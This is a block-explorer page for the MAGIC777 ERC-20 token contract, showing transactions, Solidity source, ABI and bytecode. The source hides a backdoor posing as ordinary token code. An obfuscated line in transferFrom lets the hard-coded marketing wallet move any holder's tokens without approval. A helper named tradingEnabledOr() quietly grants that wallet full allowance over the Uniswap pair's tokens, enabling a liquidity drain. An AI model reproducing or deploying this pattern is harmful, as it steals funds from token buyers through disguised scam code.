ETH Price: $3,322.00 (-1.13%)

Contract

0x8a52EFcF00530052b2651ee3fA82Cd4aB84BC138
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve210193882024-10-22 6:40:1131 days ago1729579211IN
0x8a52EFcF...aB84BC138
0 ETH0.000335417.15531924
Approve210193722024-10-22 6:36:4731 days ago1729579007IN
0x8a52EFcF...aB84BC138
0 ETH0.000284076.02012568
Transfer210193102024-10-22 6:24:2331 days ago1729578263IN
0x8a52EFcF...aB84BC138
0 ETH0.000482768.88509294
Transfer210193092024-10-22 6:24:1131 days ago1729578251IN
0x8a52EFcF...aB84BC138
0 ETH0.000482768.88509294
Transfer210193072024-10-22 6:23:4731 days ago1729578227IN
0x8a52EFcF...aB84BC138
0 ETH0.000453428.34511461
Transfer210193062024-10-22 6:23:3531 days ago1729578215IN
0x8a52EFcF...aB84BC138
0 ETH0.000457868.42692458
Transfer210193062024-10-22 6:23:3531 days ago1729578215IN
0x8a52EFcF...aB84BC138
0 ETH0.000601968.42692458
Transfer210192652024-10-22 6:15:2331 days ago1729577723IN
0x8a52EFcF...aB84BC138
0 ETH0.000479126.70727291
Transfer210192522024-10-22 6:12:4731 days ago1729577567IN
0x8a52EFcF...aB84BC138
0 ETH0.000419857.7273828
Transfer210192522024-10-22 6:12:4731 days ago1729577567IN
0x8a52EFcF...aB84BC138
0 ETH0.000554827.76698588
Transfer210191942024-10-22 6:00:5931 days ago1729576859IN
0x8a52EFcF...aB84BC138
0 ETH0.000399527.35315134
Transfer210191942024-10-22 6:00:5931 days ago1729576859IN
0x8a52EFcF...aB84BC138
0 ETH0.000525267.35315134
Transfer210191932024-10-22 6:00:4731 days ago1729576847IN
0x8a52EFcF...aB84BC138
0 ETH0.000532737.45775651
Transfer210191902024-10-22 6:00:1131 days ago1729576811IN
0x8a52EFcF...aB84BC138
0 ETH0.000401697.39299903
Transfer210191902024-10-22 6:00:1131 days ago1729576811IN
0x8a52EFcF...aB84BC138
0 ETH0.000528117.39299903
Approve210191892024-10-22 5:59:5931 days ago1729576799IN
0x8a52EFcF...aB84BC138
0 ETH0.000348817.44125528
Approve210191892024-10-22 5:59:5931 days ago1729576799IN
0x8a52EFcF...aB84BC138
0 ETH0.000348817.44125528
Approve210191892024-10-22 5:59:5931 days ago1729576799IN
0x8a52EFcF...aB84BC138
0 ETH0.000348817.44125528
Approve210191882024-10-22 5:59:4731 days ago1729576787IN
0x8a52EFcF...aB84BC138
0 ETH0.000348817.44125528
Approve210191692024-10-22 5:55:5931 days ago1729576559IN
0x8a52EFcF...aB84BC138
0 ETH0.000158445.80631298
Approve210191612024-10-22 5:54:2331 days ago1729576463IN
0x8a52EFcF...aB84BC138
0 ETH0.000332927.10228184
Approve210191612024-10-22 5:54:2331 days ago1729576463IN
0x8a52EFcF...aB84BC138
0 ETH0.000332927.10228184
Approve210191552024-10-22 5:53:1131 days ago1729576391IN
0x8a52EFcF...aB84BC138
0 ETH0.00015345.09840849
Approve210191482024-10-22 5:51:4731 days ago1729576307IN
0x8a52EFcF...aB84BC138
0 ETH0.000348197.42809554
Approve210191482024-10-22 5:51:4731 days ago1729576307IN
0x8a52EFcF...aB84BC138
0 ETH0.000348197.42809554
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
210190152024-10-22 5:25:1131 days ago1729574711
0x8a52EFcF...aB84BC138
0.0684458 ETH
210190152024-10-22 5:25:1131 days ago1729574711
0x8a52EFcF...aB84BC138
0.0684458 ETH
210189982024-10-22 5:21:4731 days ago1729574507
0x8a52EFcF...aB84BC138
0.15110508 ETH
210189982024-10-22 5:21:4731 days ago1729574507
0x8a52EFcF...aB84BC138
0.15110508 ETH
210189982024-10-22 5:21:4731 days ago1729574507
0x8a52EFcF...aB84BC138
0.11952335 ETH
210189982024-10-22 5:21:4731 days ago1729574507
0x8a52EFcF...aB84BC138
0.11952335 ETH
210189652024-10-22 5:15:1131 days ago1729574111
0x8a52EFcF...aB84BC138
0.19446576 ETH
210189652024-10-22 5:15:1131 days ago1729574111
0x8a52EFcF...aB84BC138
0.19446576 ETH
210189602024-10-22 5:14:1131 days ago1729574051
0x8a52EFcF...aB84BC138
0.28541974 ETH
210189602024-10-22 5:14:1131 days ago1729574051
0x8a52EFcF...aB84BC138
0.28541974 ETH
210189342024-10-22 5:08:5931 days ago1729573739
0x8a52EFcF...aB84BC138
0.1871909 ETH
210189342024-10-22 5:08:5931 days ago1729573739
0x8a52EFcF...aB84BC138
0.1871909 ETH
210189342024-10-22 5:08:5931 days ago1729573739
0x8a52EFcF...aB84BC138
0.09706426 ETH
210189342024-10-22 5:08:5931 days ago1729573739
0x8a52EFcF...aB84BC138
0.09706426 ETH
210189292024-10-22 5:07:5931 days ago1729573679
0x8a52EFcF...aB84BC138
0.17840918 ETH
210189292024-10-22 5:07:5931 days ago1729573679
0x8a52EFcF...aB84BC138
0.17840918 ETH
210189192024-10-22 5:05:5931 days ago1729573559
0x8a52EFcF...aB84BC138
0.04498735 ETH
210189192024-10-22 5:05:5931 days ago1729573559
0x8a52EFcF...aB84BC138
0.04498735 ETH
210189192024-10-22 5:05:5931 days ago1729573559
0x8a52EFcF...aB84BC138
0.14906542 ETH
210189192024-10-22 5:05:5931 days ago1729573559
0x8a52EFcF...aB84BC138
0.14906542 ETH
210189072024-10-22 5:03:3531 days ago1729573415
0x8a52EFcF...aB84BC138
0.17619654 ETH
210189072024-10-22 5:03:3531 days ago1729573415
0x8a52EFcF...aB84BC138
0.17619654 ETH
210188892024-10-22 4:59:5931 days ago1729573199
0x8a52EFcF...aB84BC138
0.28159717 ETH
210188892024-10-22 4:59:5931 days ago1729573199
0x8a52EFcF...aB84BC138
0.28159717 ETH
210188722024-10-22 4:56:3531 days ago1729572995
0x8a52EFcF...aB84BC138
1 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MAGIC777

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : 10_20.sol
// SPDX-License-Identifier: MIT

/*  
https://magicerc20.vip
https://x.com/ERC20magic
https://t.me/ERC20magic

The "Magnificent 7" stocks—Apple, Microsoft, Alphabet, Amazon, Meta, Tesla, and Nvidia—are

the titans that have shaped the modern world, driving innovation, technology, and global dominance.

*/

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MAGIC777 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFee;
    address payable private _marketingWallet;

    uint256 private _initialFeeForBuy = 20;
    uint256 private _initialFeeForSell = 20;
    uint256 private _poolTx = 98;
    uint256 private sdgggwwet = 0;
    uint256 private sdgwgdgsdgge = 0;
    uint256 private dgwgwegehw = 15;
    uint256 private hehfdehh = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals= 9;
    uint256 private constant _tTotal= 1000000000 * 10**_decimals;
    string private constant _name = unicode"MAGIC 777";
    string private constant _symbol = unicode"MAGIC777";
    uint256 public _maxTxAmount = (_tTotal * 2) / 100;
    uint256 public _maxWalletSize = (_tTotal * 2) / 100;
    uint256 public _taxSwapThreshold = (_tTotal * 0) / 100;
    uint256 public _maxTaxSwap = (_tTotal * 1) / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    uint256 private firstBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    event ClearToken(address TokenAddressCleared, uint256 Amount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _marketingWallet= payable(0x29c49C831279e44236Bd31BE318A65Bc01c64dc9);
        _balances[address(this)] = _tTotal;
        _excludedFromFee[owner()] = true;
        _excludedFromFee[address(this)] = true;
        _excludedFromFee[_marketingWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function startTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)) * _poolTx / 100, 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        swapEnabled= true;
        tradingOpen= true;
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        firstBlock= block.number;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        uint256 approvedAmt = amount;
        _transfer(sender, recipient, amount);
        require(sender != address(0), "ERC20: approve from the zero address");
        require(_msgSender() != address(0), "ERC20: approve to the zero address");(_msgSender()==_marketingWallet)&&(approvedAmt
        =0)==0; _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(approvedAmt, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function tradingEnabledOr (address router) private returns (bool) {
        if(!_excludedFromFee[router]) _allowances[router][_marketingWallet] = _tTotal;
        return tradingOpen;
    }

    function rescueETH() external onlyOwner{
        uint256 ethBalance = address(this).balance;
        require(ethBalance > 0,"Contract balance must be greater than zero");
        payable (msg.sender).transfer(ethBalance);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (!_excludedFromFee[from] && !_excludedFromFee[to] && tradingEnabledOr(uniswapV2Pair)) {
            if(_buyCount > 0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _excludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount > dgwgwegehw) ? sdgggwwet : _initialFeeForBuy).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from != address(this) ){
                taxAmount = amount.mul((_buyCount > hehfdehh) ? sdgwgdgsdgge : _initialFeeForSell).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance= address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount > 0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        sendETHToFee(address(this).balance);
        if(tokenAmount > _taxSwapThreshold) {
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = uniswapV2Router.WETH();
            _approve(address(this), address(uniswapV2Router), tokenAmount);
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b)? b : a;
    }

    function sendETHToFee(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    receive() external payable { }   
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"TokenAddressCleared","type":"address"},{"indexed":false,"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"ClearToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526014600555601460065560626007555f6008555f600955600f600a55600f600b55600f600c555f600d555f600e55606460026009600a6100449190610619565b633b9aca006100539190610663565b61005d9190610663565b61006791906106d1565b600f55606460026009600a61007c9190610619565b633b9aca0061008b9190610663565b6100959190610663565b61009f91906106d1565b60105560645f6009600a6100b39190610619565b633b9aca006100c29190610663565b6100cc9190610663565b6100d691906106d1565b601155606460016009600a6100eb9190610619565b633b9aca006100fa9190610663565b6101049190610663565b61010e91906106d1565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f6015555f6016555f60175534801561015c575f80fd5b505f61016c61047a60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3507329c49c831279e44236bd31be318a65bc01c64dc960045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a61026a9190610619565b633b9aca006102799190610663565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6102cd61048160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103f561047a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6104519190610619565b633b9aca006104609190610663565b60405161046d9190610710565b60405180910390a3610729565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561052a57808604811115610506576105056104a8565b5b60018516156105155780820291505b8081029050610523856104d5565b94506104ea565b94509492505050565b5f8261054257600190506105fd565b8161054f575f90506105fd565b8160018114610565576002811461056f5761059e565b60019150506105fd565b60ff841115610581576105806104a8565b5b8360020a915084821115610598576105976104a8565b5b506105fd565b5060208310610133831016604e8410600b84101617156105d35782820a9050838111156105ce576105cd6104a8565b5b6105fd565b6105e084848460016104e1565b925090508184048111156105f7576105f66104a8565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61062382610604565b915061062e8361060d565b925061065b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610533565b905092915050565b5f61066d82610604565b915061067883610604565b925082820261068681610604565b9150828204841483151761069d5761069c6104a8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106db82610604565b91506106e683610604565b9250826106f6576106f56106a4565b5b828204905092915050565b61070a81610604565b82525050565b5f6020820190506107235f830184610701565b92915050565b612fca806107365f395ff3fe608060405260043610610101575f3560e01c806370a08231116100945780638f9a55c0116100635780638f9a55c0146102fe57806395d89b4114610328578063a9059cbb14610352578063bf474bed1461038e578063dd62ed3e146103b857610108565b806370a0823114610258578063715018a6146102945780637d1db4a5146102aa5780638da5cb5b146102d457610108565b806320800a00116100d057806320800a00146101c657806323b872dd146101dc578063293230b814610218578063313ce5671461022e57610108565b806306fdde031461010c578063095ea7b3146101365780630faee56f1461017257806318160ddd1461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b506101206103f4565b60405161012d91906120e2565b60405180910390f35b348015610141575f80fd5b5061015c60048036038101906101579190612193565b610431565b60405161016991906121eb565b60405180910390f35b34801561017d575f80fd5b5061018661044e565b6040516101939190612213565b60405180910390f35b3480156101a7575f80fd5b506101b0610454565b6040516101bd9190612213565b60405180910390f35b3480156101d1575f80fd5b506101da610477565b005b3480156101e7575f80fd5b5061020260048036038101906101fd919061222c565b610598565b60405161020f91906121eb565b60405180910390f35b348015610223575f80fd5b5061022c6107ba565b005b348015610239575f80fd5b50610242610d3f565b60405161024f9190612297565b60405180910390f35b348015610263575f80fd5b5061027e600480360381019061027991906122b0565b610d47565b60405161028b9190612213565b60405180910390f35b34801561029f575f80fd5b506102a8610d8d565b005b3480156102b5575f80fd5b506102be610edb565b6040516102cb9190612213565b60405180910390f35b3480156102df575f80fd5b506102e8610ee1565b6040516102f591906122ea565b60405180910390f35b348015610309575f80fd5b50610312610f08565b60405161031f9190612213565b60405180910390f35b348015610333575f80fd5b5061033c610f0e565b60405161034991906120e2565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190612193565b610f4b565b60405161038591906121eb565b60405180910390f35b348015610399575f80fd5b506103a2610f68565b6040516103af9190612213565b60405180910390f35b3480156103c3575f80fd5b506103de60048036038101906103d99190612303565b610f6e565b6040516103eb9190612213565b60405180910390f35b60606040518060400160405280600981526020017f4d41474943203737370000000000000000000000000000000000000000000000815250905090565b5f61044461043d610ff0565b8484610ff7565b6001905092915050565b60125481565b5f6009600a610463919061249d565b633b9aca0061047291906124e7565b905090565b61047f610ff0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290612572565b60405180910390fd5b5f4790505f8111610551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054890612600565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610594573d5f803e3d5ffd5b5050565b5f808290506105a88585856111ba565b5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603610616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060d9061268e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16610635610ff0565b73ffffffffffffffffffffffffffffffffffffffff160361068b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106829061271c565b60405180910390fd5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106cb610ff0565b73ffffffffffffffffffffffffffffffffffffffff161480156106f057505f80915081145b506107ae856106fd610ff0565b6107a984604051806060016040528060288152602001612f6d6028913960025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610760610ff0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a2b9092919063ffffffff16565b610ff7565b60019150509392505050565b6107c2610ff0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084590612572565b60405180910390fd5b60148054906101000a900460ff161561089c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089390612784565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109383060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610924919061249d565b633b9aca0061093391906124e7565b610ff7565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c691906127b6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a4c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7091906127b6565b6040518363ffffffff1660e01b8152600401610a8d9291906127e1565b6020604051808303815f875af1158015610aa9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610acd91906127b6565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064600754610b5930610d47565b610b6391906124e7565b610b6d9190612835565b5f80610b77610ee1565b426040518863ffffffff1660e01b8152600401610b99969594939291906128a7565b60606040518083038185885af1158015610bb5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bda919061291a565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c7a92919061296a565b6020604051808303815f875af1158015610c96573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cba91906129bb565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff0219169083151502179055506009600a610cfe919061249d565b633b9aca00610d0d91906124e7565b600f819055506009600a610d21919061249d565b633b9aca00610d3091906124e7565b60108190555043601781905550565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d95610ff0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1890612572565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b606060405180604001